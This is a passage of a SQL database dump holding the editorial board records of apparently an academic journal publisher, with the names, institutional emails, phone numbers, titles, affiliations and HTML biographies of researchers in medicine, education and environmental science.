medicine.</p>\r\n',1,'2018-07-03 14:26:30','2018-07-15 23:43:11',1),(23,23,20,'1530608855.jpg','Jothi Amaranath Govindan','govindan@molbio.mgh.harvard.edu','15648511321','Research associate','Editorial board member','USA','Massachusetts General Hospital','02','',1,'2018-07-03 14:37:34','2018-09-25 12:23:38',1),(24,23,20,'1530611497.jpg','Maulin Pramod Shah','shahmp@beil.co.in','9099965504','Chief Scientist & Head-Industrial Waste Water Research Lab, Division of Applied & Environmental Microbiology Lab','Editorial board member','India','Sardar Patel University','06','<p>Maulin P. Shah, currently Chief Scientist &amp; Head Industrial Waste Water Research Lab, Division of Applied and Environmental Microbiology Lab at Enviro Technology Ltd., Ankleshwar, Gujarat, India, received his Ph.D. (2002-2005) in Environmental Microbiology from Sardar Patel University, Vallabh Vidyanagar, Gujarat. He has served as an Assistant Professor at Godhra, Gujarat University in 2001. He is a Microbial Biotechnologist with diverse research interest. A group of research scholars is working under his guidance on the areas ranging from Applied Microbiology, Environmental Biotechnology, Bioremediation, and Industrial Liquid Waste Management to solid state fermentation. My primary interest is the environment, the quality of our living resources and the ways that bacteria can help to manage and degrade toxic wastes and restore environmental health. Consequently, I am very interested in genetic adaptation processes in bacteria, the mechanisms by which they deal with toxic substances, how they react to pollution in general and how we can apply microbial processes in a useful way (like bacterial bioreporters). One of our major interests is to study how bacteria evolve and adapt to use organic pollutants as novel growth substrates. Bacteria with new degradation capabilities are often selected in polluted environments and have accumulated small (mutations) and large genetic changes (transpositions, recombination, and horizontally transferred elements). His work has been focused to assess the impact of industrial pollution on microbial diversity of wastewater following cultivation dependant and cultivation independent analysis. His major work involves isolation, screening, identification and Genetic Engineering of high impact of Microbes for the degradation of hazardous materials. He has more than 200 research publication in highly reputed national and international journals. He directs the Research program at Enviro Technology Ltd., Ankleshwar. He has guided more than 100 Post Graduate students in various disciplines of Life Science. He is an active Editorial Board Member in more than 150 highly reputed Journals in the field of Environmental &amp; Biological Sciences. He was Founder Editor-in-Chief of International Journal of Environmental Bioremediation and Biodegradation (2012-2014) as well as Journal of Applied and Environmental Microbiology (2012-2014) (Science and Education Publishing, USA). He is also serving as a reviewer in various journals of national and international repute. Recently, he has been awarded as a Young Biotechnologist Medal by Biotechnological Society of Nepal. He is Associate Editor in BMC Microbiology (Springer Nature), Advisory Board in CLEAN-Soil, Air, Water (Wiley), Editor in Current Pollution Reports (Springer Nature), Editor in Bulletin of Environmental Contamination &amp; Toxicology (Springer Nature), Editor in Environmental Technology &amp; Innovation-ELSEVIER, Editor in Current Microbiology-Springer Nature, Editor in Journal of Biotechnology &amp; Biotechnological Equipment-Taylor &amp; Francis, Editor in Ecotoxicology (Microbial Ecotoxicology)- Springer Nature. AREAS OF INTEREST: GENERAL MICROBIOLOGY, APPLIED MICROBIOLOGY, ENVIRONMENTAL MICROBIOLOGY, WASTE WATER MICROBIOLOGY, FERMENTATION MICROBIOLOGY, MOLECUALR MICROBIOLOGY, BIOCHEMICAL ENGINEERING, MOLECULAR GENETICS, CELLULAR MICROBIOLOGY, BIO-REMEDIATION, BIO-DEGRADATION, ENVIRONMENTAL TOXICOLOGY.</p>\r\n',1,'2018-07-03 15:19:16','2018-09-25 12:24:13',1),(25,18,20,'1530612302.jpg','Serafin M.Coronel-Molina','scoronel@indiana.edu','8128221087','Department of Literacy, Culture, and Language Education','Editorial board member','USA','Indiana University Bloomington','01','',1,'2018-07-03 15:35:01','2018-08-28 12:05:41',1),(26,18,20,'1530612899.jpg','Douglas E. Mitchell','mitchell@ucr.edu','9515004717','Professor of the Graduate Division','Editorial board member','USA','University of California, Riverside','02','',1,'2018-07-03 15:44:58','2018-08-28 12:06:03',1),(27,18,20,'1530613256.jpg','Rebecca H. Woodland','Rebecca.Woodland@educ.umass.edu','4135451751','Department of Educational Policy, Research, and Administration','Editorial board member','USA','University of Massachusetts Amherst','03','<p><span style=\"font-family:Times New Roman,Times,serif\">Rebecca H. Woodland, Ph.D., Associate Professor of Educational Leadership, is Co-Director of the Center for Education Policy in the College of Education at the University of Massachusetts Amherst. She is a former secondary school teacher, and has served as Chair of the Department of Educational Policy, Research and Administration at UMass Amherst. Dr. Woodlands scholarship focuses on the design, delivery, and evaluation of professional development for educators, and understanding how professional development systems affect and improve instructional quality and student learning. Her work has been recently published in such journals as: ACM Transactions on Computing Education (in press), American Journal of Evaluation (2016), Educational Administration Quarterly (in press), Educational Management Administration &amp; Leadership (2017), Evaluation and Program Planning (2017), Journal of School Leadership (2014), and the International Journal of School and Educational Psychology (2016). Dr. Woodland is a leader in the development of education policy. In 2010-2012 she led the team that developed the Massachusetts Standards and Indicators of Effective Administrative Leadership Practice, and from 2014-2016 served on the Design Team for the Performance Assessment for MA Leaders Project through the Office of Educator Policy, Preparation and Leadership at the MA Department of Elementary &amp; Secondary Education. Currently, Dr. Woodland serves as the UMass Amherst liaison to the Connecticut Valley Superintendents Roundtable in Massachusetts.Dr. Woodland teaches graduate-level courses in instructional design, curriculum development, and social network analysis research methods. She serves on the Editorial Boards of the SAGE Encyclopedia of Educational Research, Measurement and Evaluation and the American Journal of Evaluation. She is author of the book Getting the Grant - How Educators Can Write Winning Proposals and Manage Successful Projects published by ASCD. Currently, Dr. Woodland chairs the Social Network Analysis Topical Interest Group (SNA TIG) of the American Evaluation Association, and delivers trainings in the evaluation and improvement of organizational collaboration and networks at the AEA Summer Institute and AEA annual conferences. She received the prestigious Marcia Guttentag Award from the American Evaluation Association in 2005.Dr. Woodland leads three federally funded research projects. She is Principal Investigator and Director of the Instructional Leadership Institute for Pakistani Educators (ILIPE). ILIPE, funded through the U.S. Department of State, bring educators (administrators and teachers) from all regions of Pakistan to the U.S. for professional development in the principles and practices of learning-centered curriculum, instruction, and leadership. In addition, Dr. Woodland is Co-PI on a National Science Foundation (NSF) Computer Science for All (CSforALL) grant. CSforAll is a national effort announced by the Office of Science and Technology Policy, led by the NSF and the U.S. Department of Education in partnership with other federal agencies and private partners, to ensure that computer science education is available to all students across the U.S.. Dr. Woodland is also Co-PI on a $1.25 million Leadership Personnel Preparation (LPP) grant by the U.S. Department of Education, Special Education Programs. The purpose of the LPP grant program is to prepare educators for leadership positions in special education, early intervention and related services. Dr. Woodland is devoted to working in partnership with school leaders at local, regional, and global levels to design, implement and evaluate projects intended to cultivate organizational leadership, high quality instructional practice, and an increase in equity and excellence in educational settings.</span></p>\r\n',1,'2018-07-03 15:50:56','2018-08-28 12:06:52',1),(28,18,20,'1530613539.jpg','Jason R. Harshman','jason-harshman@uiowa.edu','5854136978','Assistant Professor of Social Studies and Global Education','Editorial board member','USA','University of Iowa','04','',1,'2018-07-03 15:55:38','2018-08-28 12:07:34',1),(29,18,20,'1530614015.jpg','Namsook Kim ','nkim3@buffalo.edu','7166451094','Clinical Assistant Professor, Assistant Director, Center for Comparative and Global Studies in Education','Editorial board member','USA','University at Buffalo, The State University of New York','05','',1,'2018-07-03 16:03:35','2018-08-28 12:08:01',1),(30,18,20,'1530614405.jpg','Barbara S. Mitchell','mitchellbs@missouri.edu','5738821152','Assistant Research Professor, Department of Special Education','Editorial board member','USA','University of Missouri','06','<p><span style=\"font-family:Times New Roman,Times,serif\">Barbara S. Mitchell, Ph.D. has been an educator for the past 20 years. She began her career as a classroom teacher in elementary and middle school special education settings. Currently Barbara is an Assistant Research Professor for the University of Missouri. Her work focuses on Emotional and Behavioral Disorders (E/BD), School-wide Positive Behavior Support (SW-PBS), and classroom management. Barbara is affiliated with the Office of Special Education Programs National Technical Assistance Center for Positive Behavioral Interventions and Supports (pbis.org) and facilitates implementation of the Safe and Healthy Students, School Climate Transformation Grant with several state and local education agency award recipients across the Midwest regions of the United States. Dr. Mitchell serves on the editorial board for the Journal of Positive Behavior Interventions, and is affiliated with professional organizations such as the Council for Exceptional Children (CEC), the Council for Children with Behavioral Disorders (CCBD), and the Association for Positive Behavior Support (APBS).</span></p>\r\n',1,'2018-07-03 16:10:04','2018-08-28 12:08:54',1),(31,18,20,'1530614935.jpg','Seock-Ho Kim','shkim@uga.edu','7065424224','Professor, Department of Educational Psychology','Editorial board member','USA','University of Georgia','07','<p><span style=\"font-family:Times New Roman,Times,serif\">Seock-Ho Kim is Professor in the program area of Quantitative Methodology of Department of Educational Psychology at the University of Georgia. He has served as the review board member of various professional journals including Measurement in Physical Education and Exercise Science, School Psychology Quarterly, Journal of Educational Measurement, and Educational and Psychological Measurement. He is a co-author of two books with Frank B. Baker, Item Response Theory: Parameter Estimation Techniques (2nd ed.) and The Basics of Item Response Theory Using R. He is the author of numerous publications in educational measurement, psychometrics, and applied statistics. He is a member of the American Educational Research Association, the American Psychological Association, the American Statistical Association, the National Council on Measurement in Education, and the Psychometric Society. He received the B.A. degree (1983) from Korea University, Seoul, and the M.S. (1986) and Ph.D. (1991) degrees from the University of Wisconsin-Madison. He was President (2010-2011) and Vice President (2009-2010) of the Korean-American Educational Researchers Association. He his colleagues, Drs. Sun-Joo Cho, Allan S. Cohen, and Brian A. Bottge, received NCME 2011 Annual Award.</span></p>\r\n',1,'2018-07-03 16:18:55','2018-08-28 12:09:53',1),(32,18,20,'1530615399.jpg','Elias M. Samuels','eliasms@med.umich.edu','7346466147','Manager of Evaluation & Metrics','Editorial board member','USA','Michigan Institute for Clinical & Health Research','08','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Samuels has over a decade of professional experience conducting institutional research and evaluation in higher education organizations. He is currently the Manager of Evaluation at the Michigan Institute for Clinical and Health Research at the University of Michigan Medical School. He has published research in peer-reviewed journals including the Journal for Clinical &amp; Translational Science and Higher Education, and is a member of national and regional professional associations for higher education administrators, evaluators and researchers. He has been an evaluator and principal investigator on federal and institutional grants and has served as a consultant for higher education organizations and the U.S. Department of Education.</span></p>\r\n',1,'2018-07-03 16:26:38','2018-08-28 12:10:38',1),(33,18,20,'1530616490.jpg','Minkyung Park','mparka@gmu.edu','0326265213','Dean of Administration','Editorial board member','Korea','George Mason University Korea campus','09','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Minkyung Park is the Dean of Administration at George Mason University Korea (GMU Korea George Mason Universitys global campus in Songdo, Korea. She formulates policies and strategies as well as plans and directs administrative and operational activities in support of the campus management, development, and growth. Before taking on this role, she had served as Acting Assistant Vice President for International Campus Operations in the Office of Global Strategy, George Mason University. She led Masons Korea campus planning efforts since 2010 and was responsible for coordinating operations between two campuses. She is also an Associate Professor of Tourism and Events Management at the College of Education and Human Development (CEHD), George Mason University. Dr. Parks research interest is twofold: (1) specialized in the area of social impacts of tourism and visitor management in tourism and recreation settings, and (2) the area of international education and internationalization of higher education specifically focusing on the development and management of overseas campuses.</span></p>\r\n',1,'2018-07-03 16:44:49','2018-08-28 12:23:25',1),(34,18,20,'1530616971.jpg','Joanna Kidman','joanna.kidman@vuw.ac.nz','0273408602','Associate Professor','Editorial board member','New Zealand','Victoria University of Wellington','10','&nbsp;',1,'2018-07-03 16:52:51','2018-07-07 16:11:32',1),(35,18,20,'1530617410.jpg','Ruwandika Perera','rperera4@myune.edu.au','61451080580','Senior Lecturer Grade ll','Editorial board member','Sri Lanka','The Open University of Sri Lanka','11','I am Ruwandika Perera, who was graduated B.Ed. degree with a first class honours  and two gold medals in 2005 from the University of Colombo, and graduated Master of Education degree  from the same university in 2011.I have been working as a Senior lecturer at the Dept. of Secondary and Tertiary Education, Faculty of Education, at the Open University of Sri Lanka since 2007. Currently, I am reading for a PhD in Educational Psychology at University of New England, Australia. I have conducted a number of researches and published a book in the field of Educational Technology in 2012. Further, I have published a journal paper based on my PhD research findings. Also, I have participated in both local and international conferences and presented a number of papers.My research interests are Educational Psychology and Quantitative data analysis methods. I am a result oriented and enthusiastic academic. Also, I enjoy doing research and generating new knowledge.',1,'2018-07-03 17:00:12','2018-07-07 16:11:25',1),(36,25,20,'1530718578.jpg','Nadeem Fazal','nfazal@csu.edu','32657956123','Professor ','Editorial board member','USA','Chicago State University College of Pharmacy','02','<p><span style=\"font-family:Times New Roman,Times,serif\">Nadeem Fazal, M.D, Ph.D. is a Professor of Pharmaceutical Sciences at Chicago State University College of Pharmacy (CSU-COP). He received his MD from King Edward Medical University, Lahore, Pakistan, and PhD in Immunology from The University of Birmingham, England, United Kingdom. He is a member of American Association for Immunologists (AAI) and American Society for Microbiology (ASM). He completed his Post-doctoral training, Fellowship and later served as faculty at Stritch School of Medicine Loyola University Chicago. Dr. Fazal began his teaching career at the Department of Microbiology and Immunology, Rawalpindi Medical College, The University of Punjab, Lahore. He also served as faculty at Chicago State University Department of Biological Sciences. He has received President&rsquo;s and Young Scientist Award from Societies of General Microbiology (SGM), American Society for Microbiology (ASM) and British Society for Immunology (BSI). He was also a recipient of Rowtham Bequest Award from The University of Birmingham, England, United Kingdom. His research interests include investigating mechanisms of cellular immune responses to acute injury/infection and pharmacological agents modulating such host responses. He has published more than 30 papers in peer-reviewed scientific journals. Dr. Fazal is a member of numerous scientific and professional organizations, including, The American Physiological Society (APS), The American Society of Human Genetics (ASHG), and The American Association of Colleges of Pharmacy (AACP).</span></p>\r\n',1,'2018-07-04 21:06:18','2018-07-24 20:57:23',1),(37,25,20,'1530719259.jpg','Daniel David Petersen','petersen.dan@epa.gov','32691415648','Toxicologist','Editorial board member','USA','National Center for Environmental Assessment, US Environmental Protection Agency','03','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Petersen is a senior toxicologist for USEPA&rsquo;s office of research and development, a professor at the University of Cincinnati, and a senior educator at Cincinnati Children&rsquo;s Hospital. He received B.S. degrees in Biology and Chemistry from the University of Wisconsin, a M.S. from the University of Iowa, and completed his Ph.D. in Biochemistry at Vanderbilt University. Dr. Petersen served fellowships in endocrinology at Vanderbilt University and in toxicology at the National Institutes of Health. He is board certified in toxicology by the American Board of Toxicology, and by the Academy of Toxicological Sciences. He has a long history of teaching, including current courses in plant physiology, plant pathology, plant nutrition, and enology, as well as a toxicology and environmental risk analysis course and the toxicology rotation in the medical school. Dr. Petersen has a long history of leadership of scientific societies, having served as president of the Ohio Valley Society of Toxicology, the Ohio Valley Society of Environmental Toxicology and Chemistry, the federal chapter of Sigma Xi and the Environmental Action Commission. He has received numerous awards including the Hulbary Award, EPA bronze and silver medals, and a recent &ldquo;best paper&rdquo; award from the Society of Toxicology. He has also served as counselor to the SOT mechanisms specialty section, Board member for the American Board of Toxicology, and member of the steering committee for the international endocrine disruptor testing program. Dr. Petersen has broad interests in the toxicology, from the molecular to the population level. He has published over 100 articles, letters, book chapters and risk assessment documents in several areas of toxicologic research including plant, animal and clinical toxicology, mechanisms of toxicology, endocrinology and endocrine disruptors, environmental injuries, risk assessment, and risk communication as a risk management tool.</span></p>\r\n',1,'2018-07-04 21:17:38','2018-07-24 20:58:06',1),(38,25,20,'1530719541.jpg','Will Chapleau','wchapleau@aol.com','3256891411','Director of Performance Improvement','Editorial board member','USA','American College of Surgeons','01','<p><span style=\"font-family:Times New Roman,Times,serif\">Will Chapleau has been a Paramedic for 41 years and trauma nurse specialist for 27 years.For the last five years he has served as the Director of Performance Improvement at the American College of Surgeons after spending 6 years managing Trauma training programs for the Committee on Trauma there. He also spent 20 years with theChicago Heights Fire Department, the last 6 years as Chief. He also spent 15 years asan educator in the Good Samaritan Hospital EMS System in Downers Grove, Ill., and at St. James Hospital and Prairie State College in Chicago Heights. Chapleau served as the Chair of the PHTLS Committee of NAEMT for nearly 20 years. He also served on the NAEMT Board of Directors, as well as on the boards for the NationalAssociation of EMS Educators and the Society of Trauma Nurses. He also chaired a task force for the National Association of EMS Physicians. He&rsquo;s been a frequent contributor to theJournal of Emergency Medical Services (JEMS), EMS World Magazineand Fire Apparatus Magazine. He has also been published in the Journal of Trauma and Critical Care and the Journal of Emergency Medicine. He is also on the editorial board of EMS World Magazine. Will has writtenand edited five pre-hospital care texts in four languages and has taught prehospital care and lectured in conferences in over 60 countries.</span></p>\r\n',1,'2018-07-04 21:22:20','2018-07-24 20:56:38',1),(39,31,20,'1530720198.jpg','Akira Sugawara','akiras2i@med.tohoku.ac.jp','12354566666','Professor of Molecular Endocrinology','Editorial board member','Japan','Tohoku University Graduate School of Medicine','01','<p><span style=\"font-family:Times New Roman,Times,serif\">Professor Akira Sugawara belongs to the Department of Molecular Endocrinology, Tohoku University Graduate School of Medicine, Sendai, Japan. He graduated from Tohoku University School of Medicine on 1987 (M.D.), and got Ph.D. on 1991 from Tohoku University Graduate School of Medicine. He performed Postdoctoral Fellowship in William Chin&rsquo;s laboratory at the Women&rsquo;s Hospital/Harvard Medical School in Boston from 1991 to 1994. His major is general internal medicine, endocrinology and metabolism and hypertension and nephrology. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"font-size:16px\"><em>Research interest:</em></span>&nbsp;</strong>1) Molecular biology of nuclear hormone receptors, 2) Etiology of high blood pressure, 3) Pathophysiology of diabetic nephropathy, 4) Gene regulation of aldosterone synthase, and 5) Epigenetics of hypertension and diabetes mellitus.</span></p>\r\n',1,'2018-07-04 21:33:18','2018-07-24 20:43:07',1),(40,31,20,'1530721153.jpg','Maryam Hadizadeh','m.hadizadeh.sport@gmail.com','60379676986','Senior Lecturer','Editorial board member','Malaysia','University of Malaya','03','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Maryam holds a Ph.D. degree in Sports Biomechanics from Universiti Putra Malaysia (UPM) with distinguished honours. She earned a Master&rsquo;s degree in Sport Science (Sport Physiology) (Hons) and a Bachelor&rsquo;s degree in physical education and Sports Science. She is currently working as a senior lecturer at Centre of sport and exercise science, University of Malaya. Dr. Maryam&rsquo;s research activity has primarily focused on clinical biomechanics and movement analysis, with special emphasis on quantitative gait analysis of athletes with lower limb injuries w/o surgery and during rehabilitation program. She has also contributed to a research project in which dynamic gait analysis was used in analysing and assessment of functional outcome in patients with limb length discrepancy. Dr. Maryam is interested in other related projects investigating, clinical biomechanics of musculoskeletal conditions, balance and lower limb symmetry of different populations including osteoarthritis patients, elderly people at risk of falling and those before and after joint replacement surgery during rehabilitation or participation in modified sport exercises. In addition, knowledge in statistics, research design and research methodology have given Dr. Maryam the opportunity to be involved in experimental research outside the aforementioned scopes. At this stage of her academic career, Dr. Maryam is looking to develop her scientific competence by continuing working in a multidisciplinary environment and to expand her research area, including injury and return to play criteria, sport physiology and health.</span></p>\r\n',1,'2018-07-04 21:49:13','2018-07-24 20:40:27',1),(41,30,20,'1532532093.jpg','Radana Kahankova','kahankova.radana@gmail.com','','Advances in Electrical and Electronic Engineering, Bioengineering','Editorial board member','USA','University of Texas Arlington','02','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Radana Kahankova was born in 1991 in Opava, Czech Republic. She received her Bachelor&rsquo;s degree at the VSB&ndash;Technical University of Ostrava, the Department of Cybernetics and Biomedical Engineering in 2014. Two years later at the same department, she received her Master&rsquo;s degree in the ?eld of Biomedical Engineering. She is currently pursuing her Ph.D. in Technical Cybernetics. Her current research is focused on improving the quality of electronic fetal monitoring. In 2016, she became a Copy editor in ADVANCES IN ELECTRICAL AND ELECTRONIC ENGINEERING (AEEE) journal. In 2018 she attended 6months internship at the Department of Bioengineering at University of Texas Arlington focused on Sleep Apnea detection and analysis.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:18px\"><em><strong>Research interests:</strong></em></span> Electronic fetal monitoring (fECG, fPCG, CTG, etc.) and associated signal processing methods, Sleep Apnea</span></p>\r\n',1,'2018-07-04 22:30:36','2018-07-25 20:54:02',1),(42,30,20,'1530724194.jpg','Akmal El-Mazny','dr_akmalelmazny@yahoo.com','0234568999','Professor of Obstetrics and Gynecology','Editorial board member','Egypt','Cairo University','02','<p>Dr. Akmal Nabil Ahmad El-Mazny is a Professor of Obstetrics and Gynaecology at Cairo University, Egypt. He completed his masters in Obstetrics and Gynaecology in 2003. He is a peer reviewer and Associate editor for 20 journals. He has more than 50 scientific journals published.</p>\r\n',1,'2018-07-04 22:39:53','2019-02-15 15:53:20',1),(43,30,20,'1530724655.jpg','Andres Emmanuel','Emmanuel.ANDRES@chru-strasbourg.fr','330388115066','Professeur des universites -Praticien hospitalier (PUPH)','Editorial board member','France','University Hospital of Strasbourg','03','<p>In 1996, Dr Andr&egrave;s received his MD degree in Internal Medicine, at the University of Strasbourg, France. He worked as an associated professor in the University Hospital of Strasbourg, France. In 1998 he worked as PhD in Molecular Biology in the Laboratory of Professor Hoffmann (2011, Nobel Prize of Medicine) in the field of cationic antimicrobial peptides and pathogens - host relations. In 2002, he was nominated Professor at the University of Strasbourg, France. He also was in the head of an Internal Medicine Department (of 62 beads) in the University hospital of Strasbourg, France. He was awarded the French Society of Haematology, price for research in the field of anaemia related to cobalamin or folate deficiencies in 2004. Achievements include development of research in: all type of anaemia, neutropenia and thrombocytopenia, particularly drug-induced neutropenia and agranulocytosis or thrombocytopenia; haematopoietic growth factors; and cobalamin deficiencies. He also conducts several studies on inflammatory or immune disorders. His recent works also include research and development on human sounds analysis, electronic stethoscope, e-auscultation, and e-medicine. In that function he was recruited as advisor to several pharmaceutical and telemedicine companies or start-up. Research Interest(s): immunity; host-pathogens relation; immune cytopenias; systemic immune and inflammatory diseases; chronic pathologies, telemedicine, drug-induced side effects, vitamin deficiency.</p>\r\n',1,'2018-07-04 22:47:35','2019-02-15 15:54:48',1),(44,30,20,'1530725171.jpg','Ibrahim A. Abdelazim','dr.ibrahimanwar@gmail.com','2364593333',' Department of Obstetrics & Gynaecology','Editorial board member','Egypt','Mansoura University','04','<p>Dr. Abdelazim Ibrahim is currently a Professor of Department of Obstetrics and Gynecology at Ain Shams University, Egypt. He is a Specialist of Obstetrics amd Gynecology, Ahmadi Hospital, Kuwait Oil Company (KOC). His research interests are related to Obstetrics and Gynecology, Gynecological malignancies, Laparoscopic surgeries, Urogynecology, Infertility and IVF.</p>\r\n',1,'2018-07-04 22:56:11','2019-02-15 15:54:31',1),(45,30,20,'1530727484.jpg','Adel Saad Helal Elsayed ','adelsaadhelal@yahoo.com','','Professor and Consultant, Department of Obstetrics & Gynaecology','Editorial board member','Egypt','Mansoura University','05','',1,'2018-07-04 23:34:43','2019-02-15 15:54:15',1),(46,30,20,'1530727905.png','Anas A. Salem','anas12eg@yahoo.com','01223100262','Professor of Animal Physiology and Head of Animal Production, Faculty of Agriculture,','Editorial board member','Egypt',' Assiut University','06','<p>Anas Salem got awards from IESTA in 1989 (Yugoslavia), in 1990 (Germany) and DAAD award in 2007 (TUM, Germany). My tasks in the University are teaching courses in field of animal production and reproductive physiology for graduate students. Also, supervising on MSc and Ph. D. theses. Anas Salem got recognition certificate from Elsevier Editor for reviewing research paper published in journal of RVSc. 2016. My research interests are how to maintain vital components of reproductive organs and how to improve reproductive performance in the agricultural animals which suffer from the reproductive abnormalities, currently, we use some potential antioxidant vitamins to enhance pregnancy outcomes in young and old animals under the hot environmental conditions.</p>\r\n',1,'2018-07-04 23:39:31','2019-02-15 15:53:56',1),(47,30,20,'1530728566.jpg','Mine Bekar','minebekar@gmail.com','12334566666','Faculty of HealthSciences, Midwifery Department','Editorial board member','Turkey','Sivas Cumhuriyet University','07','<p>Research Interest: Women Health, Women Health Problems, Health Promotion of Women , Adolescent Health, Gynaecological Cancers and Gynaecologic Cancers Prevention, Ostetrics and Gynaecological Nursing, Obstetrics and Gynaecological Problems, Socialization of Women, Midwifery, Transcultural Care.</p>\r\n',1,'2018-07-04 23:52:45','2019-02-15 15:53:44',1),(48,30,20,'1530729054.png','Giuseppe Rizzo','giuseppe.rizzo@uniroma2.it','1236456999','Director Division Maternal Fetal Medicine, Cristo Re hospital and Full Professor, ','Editorial board member','Italy','University of Rome Tor Vergata','08','',1,'2018-07-05 00:00:54','2019-02-15 15:53:31',1),(49,30,20,'1532531658.jpg','Benhessou Mustapha','mustaphabenhessou@gmail.com','','Virology and Molecular Biology, Faculty of science and thechnology and Specialized degree in Obstetric Gynecology, Faulty of medicine and pharmacy','Editorial board member','Morocco','University of Hassan II','08','<p style=\"margin-right:.05in\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#191919\">I am currently an associate professor in obstetric gynecology </span>with expertise in<span style=\"color:#191919\"> breast deseases and uterine cancer as well as in </span>cancerology, virology and molecular biology. &nbsp;I cumulate close to <span style=\"color:red\">20</span> years experience in <span style=\"color:#191919\">obstetric gynecology.</span></span></p>\r\n\r\n<p style=\"margin-right:.05in\"><span style=\"font-family:Times New Roman,Times,serif\">I have had the opportunity to both organize and coordinate regional and international <span style=\"color:#191919\">research meetings on obstetrician gynecology. Since 2007, I have performed numerous epidemiological and clinical trials.</span></span></p>\r\n\r\n<p><span style=\"font-size:18px\"><strong><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#191919\"><span style=\"color:#191919\">I have also&nbsp; many publications to my credit : more than </span><span style=\"color:red\">60</span><span style=\"color:#191919\"> published abstracts, &nbsp;</span><span style=\"color:red\">600</span><span style=\"color:#191919\"> communications and </span><span style=\"color:red\">20 </span><span style=\"color:#191919\">indexed publications. </span></span></span></strong></span></p>\r\n',1,'2018-07-05 00:06:24','2019-02-15 15:52:55',1),(50,17,20,'1530730430.jpg','Charles Antzelevitch','cantzelevitch@gmail.com','4844768134','Professor and Executive Director, Cardiovascular Research Lankenau Institute for Medical Research, Wynnewood &Professor of Medicine and Pharmacology and Experimental','Editorial board member','USA','Sidney Kimmel Medical College, Thomas Jefferson University','01',' ',1,'2018-07-05 00:23:50','2018-07-11 19:17:28',1),(51,17,20,'1530730865.jpg','Harrison N Kamiru ','hk2533@cumc.columbia.edu','1215132111','Associate Research Scientist','Editorial board member','USA','Mailman School of Public Health, Columbia University','02',' ',1,'2018-07-05 00:31:05','2018-07-11 19:17:42',1),(52,17,20,'1530731009.jpg','Shara Ally','sr.ally90@gmail.com','1456988879','Adjunct Lecturer','Editorial board member','Canada','University of Toronto','03',' ',1,'2018-07-05 00:33:29','2018-07-11 19:17:54',1),(53,17,20,'1530731369.jpeg','Fernando Augusto Lima Marson','fernandolimamarson@hotmail.com','12345698745','Department of Pediatrics, School of Medical Sciences','Editorial board member','Brazil','University of Campinas','04','Researcher from Unicamp acting in the multidisciplinary research group of Asthma and Cystic Fibrosis, being one of the responsible by Medical Genetics studies, including the studies of Asthma prevalence and severity, and in Cystic Fibrosis, with studies with CFTR mutations screening, cystic fibrosis diagnosis and clinical modulation by modifier genes. Is responsible for the statistical analysis of: (i) modifier genes and severity of respiratory diseases, (ii) methods/tools for Cystic Fibrosis diagnosis, (iii) epidemiological analysis regarding respiratory diseases, (iv) risk factor for cancer, (v) bacteria modulation on clinical severity of Cystic Fibrosis, (vi) and in the use of Mutifactor Dimensionallity Reduction tool. In the total, more than seventy studies were published in the area of genetics and respiratory diseases in the last four years. Actually, acts as a biostatistician in the Brazilian Study Groups for Chronic Obstructive Lung Disease and Medical Genetics Group led by Professor Carmen Silvia Bertuzzo and Professor José Dirceu Ribeiro, respectively.',1,'2018-07-05 00:39:28','2018-07-11 19:18:05',1),(54,17,20,'','Manal Abdesalam Abdelhafez','manal24969@gmail.com','15548999999','Professor of Pediatrics and pediatric nephrology','Editorial board member','Egypt',' Al Azhar University','05',' ',1,'2018-07-05 00:47:13','2018-07-11 19:18:15',1),(55,17,20,'1530793779.png','Muhammad Said Muhammad El-Mekkawy','mekkawy55@gmail.com','12345678569','Lecturer of Pediatrics, Faculty of medicine','Editorial board member','Egypt','Menoufia University','06',' ',1,'2018-07-05 17:59:39','2018-07-11 19:18:29',1),(56,17,20,'1530794066.jpg','Kailash Agarwal','kna_ped@yahoo.com','14588666633','President','Editorial board member','India','Health Care & Research Association for Adolescents','08',' ',1,'2018-07-05 18:04:25','2018-07-11 19:18:42',1),(57,17,20,'1530794746.jpg','Marzia Duse','marzia.duse@uniroma1.it','390649979380','Department of Pediatrics and Child Neuropsychiatry','Editorial board member','Italy','Sapienza University of Rome','07','Born in Brescia in 1949, I graduated in Pavia and specialized in Pediatrics, Hematology, Allergy and Clinical Immunology. Married, I have a son. I won a national award for my research on pediatric AIDS. Currently I am Chief of Pediatric Department, including Immunology and Allergy Unit and Director of the post-graduate school of Pediatrics and of Master in Pediatric care of outpatients in Rome, Sapienza University. My current main fields of interest are the ontogeny of immune system in newborns, rare allergies and immunodeficiencies.I have always worked in the University: first at Pavia, then Brescia, L\'Aquila and finally at Rome, where I am full professor of Pediatrics. I published more than 200 papers in indexed journals.',1,'2018-07-05 18:15:45','2018-07-11 19:18:53',1),(58,17,20,'1530795049.jpg','Biswaroop Chakrabarty ','biswaroopchakrabarty@gmail.com','14253698777','Assistant Professor, Child Neurology Division, Department of Pediatrics','Editorial board member','India','AIIMS','09','<p>Around 60 publications in various National and International peer reviewed journalsMember of professional bodies: ICNA (International Child Neurology Association), AOCN (Association of Child Neurology, India), Around 30 chapters in Pediatric text books.\r\nFunded projects as PI/CoI: 20. </p><p><b><u>Research highlights</u></b> :</p><ul><li>Skin biopsy in childhood muscular dystrophies </li><li>Neurocysticercosis: biomarker for epileptogenicity </li><li>Status epilepticus </li><li>Pediatric sleep </li><li>Genetics of epileptic encephalopathy and muscular dystrophies </li><li>Acute encephalitis syndrome </li><li>Dietary therapies in epilepsy</li></ul><p><b><u>Research interest</u></b> :</p><ol><li> Neuroinfections</li><li>Neuroimmunology</li><li>Epilepsy</li><li>Neuromuscular Disorders</li><li>Pediatric sleep.</li></ol>',1,'2018-07-05 18:20:49','2018-07-11 19:19:04',1),(59,17,20,'1530795217.jpg','Malobika Bhattacharya','drmalvikab@gmail.com','14523987777','Associate Professor & Head Department of Pediatrics','Editorial board member','India',' Government Institute of Medical Sciences','10','<p><span style=\"font-family:Times New Roman,Times,serif\">Malobika Bhattacharya is pediatrician with keen interest in academics and research. After graduating from Lady Hardinge 